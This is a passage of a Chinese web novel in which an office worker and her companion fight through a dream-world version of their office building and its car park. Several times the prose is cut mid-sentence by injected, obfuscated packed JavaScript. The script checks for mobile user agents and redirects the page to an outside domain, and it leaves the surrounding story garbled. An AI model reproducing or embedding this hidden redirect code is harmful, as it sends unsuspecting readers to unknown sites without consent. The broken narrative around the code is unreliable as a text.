她的目光紧盯着陆萌,不放过后者的任何一丝反应。 还是陆萌自己说的呀,最可怕的不是从梦里醒来,而是怎么也醒不了…… 会不会,陆萌也清楚地知道——她醒不来? 7. 6. 一楼大堂 陆萌不躲不避苇思航的目光,不一会,笑了起来,仍是那副没心没肺的样子。 “苇姐,你说的对,是我糊涂了。”陆萌道,垂下长睫,“早知道这里这么危险,我肯定不跟着过来了,我嘛,也帮不上什么忙,尽量不添乱就好了……老实跟你说,我最近睡不好,要吃药才睡得沉,怕一时半会还醒不了呢。” 她三言两语撇清自己,把问题抛回给苇思航:“苇姐,你现实里是什么情况啊?” 苇思航:“……不知道。”语气有点生硬,不过也是实话。 她不知道陆萌是不是在装傻,想了又想,总归动嘴皮子没什么用处,将车熄火,打开车门。 “苇姐,你干嘛?”陆萌立即问。 “——充电啊!”苇思航丢下一句。 就在刚刚短短的时间内,苇思航已经想好了。她直觉觉得陆萌有什么事情瞒着她,但是明显现在并不是追究这个的时候。 至少此时此刻,陆萌是她唯一的伙伴。 陆萌也马不停蹄跟着苇思航下了车,前后脚关门的声音响起,两人隔着车面面相觑。 苇思航:“你下来干嘛?” 陆萌:“我看前窗坏了,不太安全,所以……” 苇思航脱口而出:“咋?你还能修啊?” 本是一句玩笑话,结果,嘿,您猜怎么着?陆萌好像还真可以! 苇思航狐疑地看着对方,从陆萌随身的挎包里,怎么也不像藏了备用玻璃,榔子锤子之类的修理工具……只见她十分慎重地掏掏,最后拿出一张——创可贴,画着粉色草莓的那种,和她一身御姐装束形成了强烈的反差。 陆萌把那张粉色创可贴撕开,贴在车窗的破损上,附带一个“吹吹不痛”的组合技。 苇思航:“……” 就在她不以为然的时候,奇迹发生了。 车前窗的创可贴变成了一片茫茫的马赛克,在苇思航以为自己眼花之时,下一刻隐入玻璃的纹理,苇思航又眨了眨眼,车窗已经焕然一新。 不等苇思航发问,陆萌主动道:“这是‘梦境补丁’——我用开灵车赚的精神力从补给局那里买的。” 苇思航免去大惊小怪地点点头——忽略这一个句子里大半名词还很陌生的情况下。 简而言之,“梦境补丁”是一种特殊道具,可以将梦境中的事物按照使用者的需求外化,使梦境趋于合理,使用者对需求越具体精细,效果越好。 “史塔克工业制造,超高规格防爆防刮处理,厚层玻璃吸能结构能抵御200公斤TNT爆炸产生的冲击,轻微刮痕24小时内自愈,具备最新单向防弹功能,”陆萌仰着头,颇为自得地介绍,“怎么样,还可以吧?” “……史塔克工业,是我知道的那个吗?”苇思航艰难发问。 “没错!就是钢铁侠,托尼·史塔克——那个史塔克!”陆萌满口应下,语气里有几分得意。 “……” 真实世界中的史塔克并不存在,不过在灵界中,这个名字似乎象征着某种高精尖的工业力量。 苇思航看着眼馋,心想要是自己之后也能换来这种道具,高低要把整辆车都鸟枪换炮了。 刚刚那种一闪而过的马赛克,她还有点眼熟来着……噢,想起来了,陆萌给自己大方展示过,她的背心之下覆盖的部位…… 不知道为什么,苇思航很确定陆萌在自己身上试过,可惜,照她说的,“渲染失败”。这么看来,现实中的陆萌,其实是个平胸? 陆萌不知道苇思航此刻在想什么,兴冲冲拉开游戏人物的个人面板,从里面掏出一把霰/弹枪,这把枪有半人那么高,通身金属色,贴合在她的手臂上,有种机械的美感,上面刻着红色的火焰纹路,十分拉风,一看就知道是她的装备。 苇思航先是一惊,很快平静下来,怎么不早点拿出来…… “等着,苇姐,一会你开车,我开枪,我不信咱俩B1冲不出去!”陆萌颇具豪情放下话来。 苇思航心头微暖:“你这是玩什么的?” “我是近战射手!” 苇思航沉默了,生怕说错话伤了同伴的感情。 想象着要一边躲避触手怪物的攻击,艰难突围凑近再给它一枪…… 还是算了,妈的废物。 当务之急是要给0373充电。 充电枪连接成功,只是下一步让苇思航犯了难。要知道,充电桩需要预付电费才能开始工作,她摸遍了全身,没有找到手机。 这可怎么办? 0373背后就是大楼电梯间,心念一动,苇思航招呼陆萌,两人一起上楼,准备去一楼大堂碰碰运气。 两人一前一后,走进电梯间,电梯显示异常,无法运行,于是该走旁边的楼梯,B3的黑水果不其然也侵袭到了这里,下行的楼梯被淹去一半,湿热的空气像是一块没拧干的抹布蒙在人脸上,墙皮因为过高的湿度已经出现了发霉斑驳的迹象。 想到她们此刻可能就正在B1看不见的大章鱼正下方,上楼的步伐便有些沉重,陆萌端着枪走在前面,红发一颤一颤,冲苇思航道:“放心吧,苇姐,有我在呢,什么东西敢过来,我第一个突突它。” 苇思航忍不住笑。 自从刚才车上的插曲之后,陆萌好似有意向她证明自己的价值,显得格外积极,苇思航看在眼里,更确定了自己的想法,将之前那些疑虑都抛之脑后。 有赖于B3直达的湿润气流,楼梯的地面上浮着鸡皮疙瘩一样的细小水珠,平整的样子说明并未受到看不见触手的破坏,两人松了口气,在地上留下自己的脚印,尽快通过B1,又上一层,拉开那扇沉重的安全门,就是一楼大厅了。 * 梦茧大厦的大堂延续了外观的现代化简约设计,整体以浅色为主,营造出开阔、明亮的空间感,超高挑空足有四层楼那么高,需要额外乘坐电梯直达低层的商业体。步入其中,最引人注目的莫过于一整面的热带植物墙,宛如一座垂直的小森林,各种植物错落有致,尽管都是绿色,却因其深浅、纹理的不同,一点也不显得单调,一派生机盎然之态,看着叫人心旷神怡。弧线型的玻璃外墙采光良好,往日透进室外柔和的光线,如今映着外面幕布一样的夜空,室内灯光大亮,轻柔高雅的交响乐回荡在其中。 苇思航打开门,看到的便是这样一副景象。就是她印象中入夜的梦茧大厦该有的样子……是吗? 大堂里十分热闹,突然一下见到这么多人,苇思航呆了一下,不对,应该不是人…… 至少不是正常人。 苇思航和陆萌睁大了眼睛,安全门在他们门口静悄悄地合上,一个荒诞的世界在她们面前展露真容。 一群裸男蜂拥而至,在大堂里胡乱奔走,打头那个男人双手敲打着胸口,高唱:“我是隔壁的泰山!Oh~Oh~Oh~”在他身后跟着大约十个追随者,脸上的神情宛如梦游,摇晃着四肢,像是用全部肢体语言表达着“自由!” ——那是8楼的Jason和他的team正在开一场沉闷的会议。 非礼勿视地移开目光,又看到不远处,一男一女旁若无热地用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670546|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舌头狂甩对方嘴唇,不知天地为何物的激吻。 ——12楼Stella和17楼Mason每天同乘一部电梯,Mason连他们孩子的名字都想好了。 无语凝噎,只有望天,却见热带植物墙上,垂下好几双腿来,男的女的都有,第一眼以为有人在上吊吧,再看一眼,植物墙成了粘鼠板,重力似乎不存在了,许多人躺在柔软的苔藓上小憩,一个二个思绪已然飞去了夏日小岛,懒洋洋地晒着白炽灯浴。 又有一个女人跑掉了一只高跟鞋,想要冲出大厦,却被困在旋转门里,两腿一深一浅,亦步亦趋,哭叫着拍着面前的玻璃:“救命啊!我不想上班!” ——这就是上午十一点,灵界梦茧大厦内部的景象。值得一提的是,这是刚刚结束了公共假期的一个工作日。 苇思航瞳孔地震,又一震,转头用气声询问陆萌:“这些都……啥啊?” 陆萌尬笑:“好像是……梦灵。” 苇思航微一挑眉:“大白天的,哪来的梦灵?” 还是她说的啊! 陆萌理直气壮:“白日梦啊!” 苇思航:“……” 有多少此刻人在工位,魂已经飞走的,正在另一个世界享受着狂欢。这些区别于正常的梦灵,只有碎片化的意识,心中的渴求和隐欲被无限放大,只会下意识地重复着自我满足的动作。 由于之前陆萌谎报军情,苇思航本以为要应付的只有幽灵而已,这下便有些措手不及。她原本还担心陆萌扛着枪的样子过于浮夸,可能会引来不必要的注意力,这么一看,竟是完美地混入其中。 她正想着,那边果然出现一个扛着冲锋枪的男人,癫狂地笑着,二话不说冲人群扫射:“再改方案我是狗!把你们都撒了!” 人群对此毫无反应,沉浸在自己的世界中。子弹像雨点一样打到身上,砰的一下变成红艳艳的人民币,陆萌抓了一把放进兜里。 苇思航也被波及,挨了一下,却“嘶”一声。 好痛! 被打到的皮肤瞬间泛起红印,像被鞭打一般火辣辣的,苇思航感到一种直达神经的疼痛,转头去看陆萌,却像没事人一样。 她慌忙拉着陆萌找到附近一个掩体,晕头转向中,又被低空漂浮着的状如吹气河豚的上班族踹了一脚。这次也是结结实实的钝痛,被碰到的那一瞬间,苇思航还有一种奇怪的感觉,身体好像变得很轻,也要跟着一起漂浮起来。 她的脚尖即将离开地面,幸而陆萌将她一把拉住,苇思航才从飘忽的感觉里如梦初醒。 “我这是怎么了?”她自言自语。 陆萌道:“苇姐,你看上去太正常了,其他灵体的攻击会对你造成伤害,这样下去你很危险!” “……” 谁说不是,苇思航戴眼镜,扎马尾,衬衫西裤,看起来再平凡不过的一个小白领,在一众牛鬼蛇神中显得格格不入。 无数白日梦汇成荒诞的集体意识,正在排斥她的存在,虽然还没到主动攻击的程度,但是她无形中已经成了活动的靶子。 距离前台还有一定距离,苇思航望着目标,狠了狠心,摘下眼镜,好似剥掉最后一层羞耻,下一秒匍匐在地,开始以作战姿势朝着前面爬行。 陆萌:“?” 仍在持续扫射的子弹弹到她的身上,力道果然减弱,苇思航一副即将炸碉堡的表情,目光坚定地朝着前台的方向。 等什么,赶紧念词儿啊! 苇思航声音洪亮,加入灵魂。 “狗公司,我要炸了你!” 8. 7. 车内 打不过就加入。 爬到后面,苇思航都有点忘了自己一开始这样做是为了什么…… 她是不是疯了? 做出这种事,一点也不像她,不过呢…… 大声骂公司带来的舒爽,几个小时以来心中郁结的闷气随之一空。 只是…… 苇思航给自己设计的战士形象,却因为身后慢悠悠跟着的陆萌土崩瓦解,陆萌的靴子一下下踩在地上,悠闲的模样衬得在地上蠕动的苇思航像个窝囊的战俘。 苇思航心中暗骂,陆萌明明可以走的很快,非要跟在她边上,明显是在看她笑话啊! 这一路显得无比漫长,不知过了多久,苇思航抬头,不知是不是她的错觉,感觉附近的人变少了,癫狂混乱的气氛也为之一清。 “可以起来了,”陆萌笑嘻嘻道,“看来时间到了,他们吃午饭去了。” “……” 这是不是说明,这些人工作的时候摸鱼,吃饭的时候还蛮专心的? 苇思航立即起身,拍着身上并不存在的灰尘,尝试在陆萌面前挽回形象。心里想,下次就算要加入,得换个不费劲的法子…… 再没有白日梦灵的阻挡,苇思航三步两步跑向前台,往日里,这张半圆形的白色大理石桌后面,总是有着身穿制服笑容可鞠的物业服务人员,现下空无一人。 苇思航躲进前台之后,在充斥其中的无数杂物之中翻找着。 她记得之前有一次她充电因为手机网络问题失败了,最后是找到用一张NFC充电卡解决了问题。苇思航想找的就是那个。陆萌说是在帮忙,实则乱翻一气。 苇思航先看到了桌子上最显眼的——手机,看款式,还是某果保留home键的某一款,相当有年代感。 苇思航心中一动:“我有个问题。” 一旁陆萌头也不抬:“怎么了?” “现实中有的东西,灵界都会有吗?” 陆萌懒洋洋回答:“不一定哦。” “灵界虽然物理上和现实世界是重合的,但是现实世界中只有被‘附灵’的那些无机物,才会同步被刻录到灵界。” 苇思航专注地听着,听到“物理”,“无机物”之类的名词不禁发笑,实在也有够违和。 陆萌继续道:“所谓‘附灵’嘛,可以理解为被倾注了心力的东西,倾注的越多,存续时间也会越长,另一种含义上的被赋予了‘生命’咯。” 苇思航点点头。想着在另一个世界,有些东西只因你而存在,细品倒有种浪漫呢!现实里,她拥有的东西不多,迅速在脑海中重新审视一遍,0373肯定是一个,还有吗? 苇思航看着手里这个年代久远的东西,想着,它会出现在这里,想必是对主人来说有着什么不同寻常的意义吧? 转念想到自己用了三年多的手机,也不知道有没有达到标准…… 她把老式手机放回了原处,旁边还有医药箱、钱包、工牌等物,看起来不属同一人所有,甚至不属于同一时期……鬼使神差般的,苇思航伸手把那张名叫“苏秀禾”的工牌揣进了兜里。 心里有了“附灵”的标准,直觉告诉苇思航,很难在这里找到她想要的NFC充电卡了,然而灵界事情的发展往往在她的意料之外。 “是这个吧。”陆萌也来帮忙,从一堆杂物里准确无误地找到一张卡片,语气相当笃定。 苇思航接过,大大惊讶——好像还真是! 一张薄薄的卡片,没有文字,正中画着充电的图示,就和之前苇思航见过的一样,除了右上角多了一个额外的标志——三个圆圈呈三角排布,中心重合在一起。 不等她问,陆萌主动告知:“这是灵界管理局的标志。” ……管理局?继补给局之后,苇思航又一次听到类似的名词。原来灵界也是有管理机构的? 陆萌像是看穿她在想什么,点点头,一锤定音:“这本身就是灵界的东西。” 而不是从现实世界中刻录而来。 联想到B1在充电站附近的大章鱼,苇思航立刻想到,难道充电在灵界也是刚需?同时身为一名遵纪守法的好公民,她接着想到。 “那个什么……灵管局的,B1的大章鱼可以叫他们来处理不?” 有困难,当然找警察叔叔! “怎么叫?” “嗯……打110?” 陆萌听见却笑了一下,顺手拿起桌上的老式手机,按一下,屏幕亮了,递给苇思航:“这样,你试试。” 像是鼓励,又像是故意看她笑话。 苇思航怀疑地接过,心想这有何难? 幺、幺、零。 就3个数字,何况按键页面总共就那几个数字,实在想不出会有什么问题。 但即使这样,苇思航还是频频误触,按错数字,删掉重按,又错了,她明明只按了一下,蹦出一大串随机数字,又要重头删起……不一会额头上就出了汗。 该死的,怎么就是弄不对?是她有问题还是手机有问题? 捣鼓了一阵,苇思航气的连砸手机的心都有了。 陆萌一副早已料到的表情十分欠揍,摊手道:“梦里的手机是这样的。” “……” 好像还真是,梦里的手机永远不好使。没办法,苇思航放弃了。 “拿上东西,走吧。” 揣上那张得来不易的充电卡,苇思航与陆萌原路返回。白日梦灵们肉眼可见少了很多,一路没遇到什么岔子。 重新回到B2,刷上卡,果然成功充上电。坐回车里,看到仪表盘上亮起的显示正在充电中的指示灯,苇思航如释重负地长出一口气。 尽管她知道,危机还远没有结束,不能忽略的事实是,她们仍然被困在这一层,更准确的说,0373被困在这里,而她是不可能丢下0373一走了之的。 上一层看不见的大章鱼来者不善,下一层的黑池魇境也明显不是省油的灯。才过去了不一会,闷重的水汽穿透了狭小的楼梯间,在整个B2弥漫开来,挡风玻璃上起了一层明显的水雾,预示着下方的黑池还在缓慢地涨潮。 留给她们的时间不多了。 尽管以上这些苇思航全都清楚,不妨碍她此刻利落地调低主驾座椅靠背,舒舒服服地躺平。 副驾上陆萌看到,不可置信:“这是要干嘛?” 苇思航说出那个显而易见的答案,眼睛半闭:“睡会儿。” “……” “你不困吗?” 没能等到陆萌的回答,苇思航头一歪,眼睛整个闭上,已经意识模糊,如果不是呼吸平稳,还以为她遭遇了什么不测。 她是真的困了,一连几个小时精神高度紧张,身上刚刚被白日梦灵打到的地方还在隐隐作痛。反正车充着电,也没有别的事好干,真还不如睡一觉来的实在。 虽然她目前身为灵体,人在梦中,还要睡觉很不可理喻就是了。 来不及多说什么,苇思航像晕过去一样睡着了。 副驾上的陆萌眨一下眼,又眨一下,像是没反应过来,表情十分意外。身边的人发出睡梦中均匀的呼吸,又过了一会,陆萌的手似无意地搭在前方空调的拨片上,嘴角微微提起,一个没什么温度的笑容。 “可以出来了。”毫无起伏的声音,陆萌的样子看起来像在和空调口对话,她的眼中一片漆黑,像是橱窗里的布娃娃被缝上去的黑纽扣。 来自空调深处的气流似乎出现了一刻紊乱,源源不断地朝外送风,声音渐渐鼓噪起来,像是来自海上的寒流正在聚集成团,彻骨冰寒,车内温度骤降,不影响主驾上睡着的女人神态依旧安详,脸色愈发红润。 * B2停车场的感应灯早已纷纷熄灭,四周便完全暗了下来,只有0373的小灯发出微弱的光亮,宛如漆黑海上的一座发光的孤岛,照着前方影影绰绰两三车辆的影子。室内外巨大的温差使得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我这个灵体能力有限,不管是你,还是我,待会都得指望她啦!”陆萌话里有几分幸灾乐祸,倒是有几分苇思航入睡之前“陆萌”的影子。 说着,陆萌的目光又转向主驾的苇思航身上,苇思航看起来睡得很香——当然,她看到的不全是这个。丝丝缕缕的精神力肉眼不可见,却逃不过陆萌的眼睛,那些来自空调口的能量正漂浮在冰冷的空气中,被苇思航吸收,滋养着她的灵体。 她皱了皱眉,不太满意:“强化太慢了。” 这话电子音可不爱听:“苍天可见!我都快被她吸干了!” “是她自己存不住!我有什么办法?死那么多次,白白浪费我精神力……”电子音嘴硬,不妨碍空气中无形的精神力加倍输送着,被困在这里,它也着急啊! 它想到上一次,没有陆萌,苇思航开着0373成功逃出了B1,可惜随后又出了车祸,导致前功尽弃。那一次,B3还没有魇境呢,这次只会更加棘手…… 电子音:“说起来怪邪乎的……这车的电就跟她的血条似的,死了掉血,要是和车一起死了,就回到原点,失去记忆……老大,你之前见过这情况吗?” 陆萌摇了摇头,对于这一点,她也觉得十分离奇。 “……老大,你倒是说话呀,我现在又看不见!” 陆萌没好气瞥了出风口一眼:“没有。” B3的黑池始终是个隐患,不知道什么时候就会暴起,多梦的夜晚即将到来,它的力量只会越来越大。而且,她隐约感到一股不寻常的气息…… 这样想着,陆萌打开门。 “老大你去哪——”电子音的嚎叫。 “闭嘴,”陆萌毫不留情:“你抓紧给人强化。我看看去。” “……” “要是我没回来,不用管我,只要你们能出去,就还是老地方见。”陆萌留下一句。 电子音最后听到车门闭上的声音,车厢里重归一片冰冷的寂静。车外,一长串声控灯依次亮起,陆萌靴子踩在地上,朝着某个方向一步步走远。 9. 8. 黑池(一) 新的一天。一个没什么盼头的晴朗周三,秋老虎仍在肆虐,才上午十点,太阳已然藏不住毒辣的嘴脸,高挂在万里无云的天空,预报今天气温会超过35度。 一个女人从最近的公交车站一路小跑而来,边走边在帆布包里一堆杂物里寻找着什么,汗水不一会就打湿了她的针织上衣,很不舒服地粘在后背上。 她打扮干练,穿着灰色的针织马球上衣,灰色西裤,脚上乍一眼看以为是黑色皮鞋,实则是一双轻便的帆布鞋。她模样清秀,鼻梁上架着一副眼镜,现在因为出汗,有点滑脱了,她于是扶一下,未烫染过的长发在脑后扎了一个低马尾。 找到了。她从帆布包里好一番摸索,抓到“苏秀禾”的工牌戴上。 此时她到达梦茧大厦的正门,室内飘出的少量冷气前来解救,背上的热汗上新添一层欢呼的冷汗,周围和她一样行色匆匆的打工人络绎不绝,抵达公司楼下,纷纷拿出手机打卡,接着埋头朝里走。 一楼大堂明亮通透,跟外面又热又晒的环境比起来,简直像进入了天堂。一整面绿植墙迎着阳光,发出翡翠碧玉似的清润光泽,绿意盎然。打工人如同训练有素的工蚁,跟随一道看不见的轨迹,在高层电梯和低层电梯入口处分流,等待被送往自己的岗位。 苏秀禾的公司位于21层,需要乘坐低层电梯,她挤进人群,毫不起眼。 “苏姐,早啊!”一个清甜的女声响起,跟着,一只手拍了拍她的肩膀。 她便转头去看,愣了一下。 “苏姐,我呀,萌萌。”对方是个年轻女孩子,眨动着精致的眼睫,笑着自我介绍。 萌萌察觉到苏姐的目光盯着她瞧,顺势一撩头发,笑呵呵的:“昨晚下班去染的,最近流行红发,好看吗?” “好看。” 萌萌也投桃报李:“苏姐,你裙子也好看。” “苏秀禾”不做声了,望着眼前,光滑如镜的电梯井映出她的影子,一个陌生的身材肥胖的女人装在一条肥大的黑色筒裙里面,如果有什么词语第一时间跳进她的脑海,很不幸的——“裹尸袋”。 电梯到了,门打开,众人纷纷进入,不多时便均匀地占满了一个轿厢,好像搭电车,只苦于没有把手,每个人抱臂站着,合成一堵面无表情的墙壁。 萌萌继续招呼她,作势要挤进人群:“苏姐不上吗?” 被电梯最外侧的人瞪了一眼,苏秀禾识相地收回脚步:“我等下一趟。” 萌萌眼睛一转,乖巧道:“那我和苏姐一起。” 电梯门在她们面前缓缓合上。 * 又一架电梯的门打开了。 头顶的灯光比大厦里暗了一个度,显得陈旧昏暗,四周都是金属色的墙壁,四四方方的像一个铁盒子,上面晃动着人的影子。苇思航扮演的“苏秀禾”和萌萌前后进入这里,帆布鞋的胶底接触到地面,发出嘎吱嘎吱的胶粘声,给人一种不洁的感觉,苇思航蹙起眉。 她脚下的声音引来身边人的窃笑,不用想,又是在拿她的体重做文章。苇思航无视了那些人,也包括萌萌脸上一闪而过的笑容,唯独在按楼层按钮的时候,手指一顿。 按钮的缝隙之间,已经干涸的肮脏的深色痕迹,似乎在沉默地诉说着什么。是血。苇思航被过于滑腻的触感提醒,触电一样收回手。 门缓缓在面前闭合,电梯开始上升,苇思航独自抬头,与轿厢顶上趴着的一只鬼四目相对。 唉,困在梦魇里是这样的。 ——事情还要从她一觉睡醒说起。 * B2一片漆黑的停车场里,苇思航因为一声巨响猛然惊醒,她从座位上坐直身体,首先映入眼帘的是仪表盘——电量80%,目前时间是20:08。 她竟然睡了那么久? 正要怪陆萌不叫醒她,转头却发现副驾驶上空无一人。 “陆萌??陆萌!!” 车内的情况一目了然,除了她之外再没别人,一眼瞥到车外,苇思航瞳孔紧缩——天塌了! 啊不,准确的说,B1塌了。 有赖近光灯的照明,苇思航看清眼前的一切。吵醒她的那声巨响的来源——坍塌的混凝土吊顶砸中了引擎盖,然后顺势掉到地上,埋在楼体之间的水管也破了,现在正哗哗朝下面灌着水。 她打开车门,就要去探明情况。 “不要下车!!!” 一个陌生的电子音在车内紧急炸响! 苇思航半只脚踩到地上的积水——已经来不及了。 * 苇思航再次睁开眼睛,发现自己不在黑暗的停车场,而是无端出现在梦茧大厦附近。天上明晃晃挂着太阳,说明现在是白天。 她抬头直视毒辣的阳光,有种不敢置信的感觉。 她这是……出来了?那个什么……灵界? 好热…… 浑身的每个细胞好似都在尖叫着见光死,她把帆布包顶在头顶,三步并作两部朝着梦茧大厦走去。 咦?又是梦茧大厦? 她低下头,看见胸前有什么东西在一晃一晃,她一把抓住,只见那是一张再普通不过的工牌。 上面的名字是苏秀禾。 等下……这个场景她好像梦到过…… 苇思航觉得脑中一片浆糊,索性先不去管,随手把工牌摘下,丢进帆布包里。继续朝着梦茧大厦走去。 几乎是受一种本能驱使,她走进大堂,再走到电梯口,电梯到了,她走进去,按下21楼。——一切看上去都很正常,都说明这只是一个再普通不过的工作日早晨…… 直到,她在电梯里的光滑镜面里,看到自己的影子——一个裹在黑色筒裙里的陌生女人。 那不是她。 一种战栗感直冲天灵盖!苇思航一个激灵,意识到不对的时候,电梯门已经关死,开始爬升。 血……刺激性的红色映入眼帘,从铁盒子的四角开始朝着中间蔓延,闻不到任何血腥味的事实,反而加深了视觉上那种诡异的印象。 苇思航低下头,看见鞋子已经踩在一片浓稠的血泊里,很快,从鞋面直洇到袜子里。脚趾被那湿润粘稠的触感包裹,仿佛有无数细小的虫子在皮肤上蠕动,令人作呕。 她开始慌了,终于有了动作,挤开身边淡定得可怕的人群,在电梯面板上乱按一气,没用。电梯没有在其中任何一层停下,好似没有终点的上行带来轻微的失重感,和刺眼的红色一起让人发晕。 水位上升到小腿高度,苇思航开始拍打电梯门,没用,上脚踹,还是没用。电梯的金属门沾上血之后更加滑腻,纵容她留下挣扎的痕迹,却纹丝不动。 苇思航好像知道那些血的来源了,回头一瞥,身边男人的脸变得绵软塌陷,好像一个被高温烘烤后的蜡做的小人,失去了原本的形状,眼球在两个深陷的窟窿里,随时都要流出来。血水正从他的身体里不断涌出,周围的一切都变得无比软烂,也包括苇思航此时因恐惧而瘫软的手脚。 苇思航没来由想到一锅正在铁盒子里缓慢熬煮的罗宋汤,她和其他人都是其中的食材——除了她好像更耐煮一些。转眼,身边男人已经完全融化成一滩血水,领带飘在一片血色的汪洋之上,像一条无力的蛇。水位已然来到胸口,她飘了起来,觉得肺部被挤压地生疼。 眼前一片模糊,完全被血水糊住,滑腻地灌进她的口鼻,只是想象到应有的腥臭,也足以令人作呕。她挣扎的动作越来越无力。恍惚间,她仿佛产生了一种错觉,如同过往每一个熟悉而乏味的工作日……她站在公司的茶水间,等待速食加热的时间既短暂又漫长,足够主人在走神的间隙做上一个血腥的白日梦。 终于,电梯抵达的“叮”的一声响起,也像是微波炉加热结束的戏谑提示音—— 苇姐,您的汤好咯。 * 梦茧大厦B2停车场。 凭空出现在主驾座位上,苇思航咳嗽个不停,濒死之际抓着自己的脖子,那种窒息的感觉挥之不去,仿佛还有无数粘稠的血块从她的口鼻中涌出。 终于一口气喘顺,她首先看向仪表盘。 显示时间过去了五分钟。电量从80%下降到55%——转眼25%的电没有了。 头顶的水管还在灌水,雨刮器自动激活,刮擦着前窗,发出单调的声音。苇思航惊魂未定,触电一样收回踩在黑水里的脚,重新在驾驶座上坐正身体,挣扎着关上开了一条缝的车门,刚刚经历的诡异的一切好像还在眼前挥之不去。 车门关上的同时自动落锁。那个她不久前听到的像是幻觉一样的陌生电子音再次响起。 “外面危险!快离开这里!” 不用它说,苇思航系上安全带,一脚油门踩下,0373朝前冲去,惊险躲过天花板上的落石。 “……你谁啊?”苇思航终于又能说话了,她一边驾驶着0373,望向那个声音的来源——貌似是空调出风口。 “……” 电子音选在这时暴露身份,实属无奈之举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670548|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说起它此时的心情,简直一言难尽。事情的发展远远超出了它的意料。 在苇思航睡着,陆萌下车之后,它一心一意贡献着精神力,强化着苇思航的灵体。谁知B1会突然塌方,于此同时B3的黑池暴涨! 更别说苇思航刚刚的一脚,直接把人干进了魇境!谨防情况继续恶化,它必须得出马了! 虽然这样想着,电子音却并没有想好,该如何解释自己的存在。车内陷入了短暂的沉默。 反观苇思航。 对于突然出现的电子音,她的第一反应倒不是恐慌,反而有些惊喜。没办法,身处危机四伏的极限环境,又是孤身一人,很容易对同伴产生一种心灵上的亲近感。她突然福至心灵,想到自己看过的一百零一部网络异能小说。 “我知道了!你一定是我的系统吧!” 电子音沉默了半响。 “……嗯,我是。” 属于是想睡觉别人递来了枕头。含泪认领了哈。 苇思航激动了!终于!她就觉得自己迄今为止的一番奇遇少了点什么。 她的金手指终于来了! 充过电的0373活力无限,轰鸣强劲,常常让人忽略它其实是一辆电车的事实,身后没来得及扯下的充电线像一条黑色的细尾,越开越远,便如同一只断了线的风筝。苇思航不停转动方向盘调整方向,行驶的轨迹歪歪扭扭,几次惊险逃过从楼上掉下的致命石块。 苇思航在后视镜里看到了B1坍塌留下的废墟中央的景象,是上一层的那只怪物! ——那只触手怪物如今完全现行,形状可怖的粗壮触须四处散落,现在正在脚腕深浅的水中无力地扑腾。 咦……水? ——是B3的黑池! 过去苇思航睡着的几个小时,黑池因为不明原因力量暴涨,顺势突破了B3。加上断裂水管的倒灌,情况雪上加霜,看来整个B2被整个侵蚀也只是时间问题。 地面上积起的黑池水位尚浅,呈现出被稀释后的灰色,显得十分污浊,0373暂时还能涉水前行,苇思航的目标只有一个——尽快逃去B1! 这期间她不忘跟新发现的“系统”对话。 “你怎么现在才出现?——啊我知道了!是之前电量太低,休眠了吧?”她自问自答。 “……嗯,没错。” 苇思航浑身透着一股察觉不到的亢奋,睡了一觉的她精神饱满,感觉浑身有使不完的牛劲似的——殊不知这一切都是她睡着的时候电子音兢兢业业精神力补给的结果,而后者因为想到一会注定付诸东流的结局,本就有气无力的声音更透出几分面黄肌瘦。 不影响苇思航此时豪气干云,甚至感觉眼前这点小困难似乎都不在话下……吗? 0373驶出积水路面,驶上前往B1的长上坡,不甘地减速在半路停下。 前方的路被一堆碎石堵得严严实实。 他们出不去了。 苇思航拍着刚刚电子音传来的地方——似乎是空调出风口附近——诚心咨询:“系统,在吗?现在怎么办?” 电子音:“这附近应该有柱子吧,你找找,有没有看到?” “看到了看到了。”苇思航道,“好像是承重柱……有点开裂了,看起来不是很牢固的样子……” 电子音:“够用了够用了。” 苇思航:“接下来需要我做什么?” 电子音:“下面听我的:换前进档,抓紧方向盘。” “好。”苇思航依言照做,目视前方,气势如虹,雄心万丈。 “现在踩油门——” 苇思航卡了一下。 “现在?” “嗯。” “……油门?” “对,踩死。” “前面没有路了啊。” “你看路干什么?撞柱子啊!” “干嘛要撞柱子?” “当然是去死!”电子音像是诅咒一样尖叫起来。 “……你说真的?”苇思航脱口而出,还以为自己是哪里做错,以致于得罪了电子音,导致其口出恶言。 她本来以为面前会凭空出现一个逃生通道,什么的…… 她和电子音的想法都格外直给,却是完全不同的方向。 电子音早已放弃挣扎,自认眼下的情况只有重开一条路——死在车里,回到废弃停车场重新开始。 过了一会,苇思航恍然大悟,明白过来,干笑:“哦,原来你是那个意思。” 10. 9. 黑池(二) B2通往B1的车道上,尽头被碎石堵住,一辆白色小汽车停在半途,身后是B2愈发汹涌的积水。 摆在苇思航面前的选择,一头撞死——等于“重开”,回到她一开始醒来的废弃停车场。 电子音道破她循环重生的秘密,苇思航惊讶过后,更觉得亲近,想想觉得理所当然……看来“系统”一直都待在她身边,只是之前因为电量太低休眠了……反正心中已经有了答案,因此剩下所有的一切似乎都在验证它。 电子音要抓狂了:“你在犹豫什么!黑池要追上来了,快重开啊!” “等等,让我捋捋……” 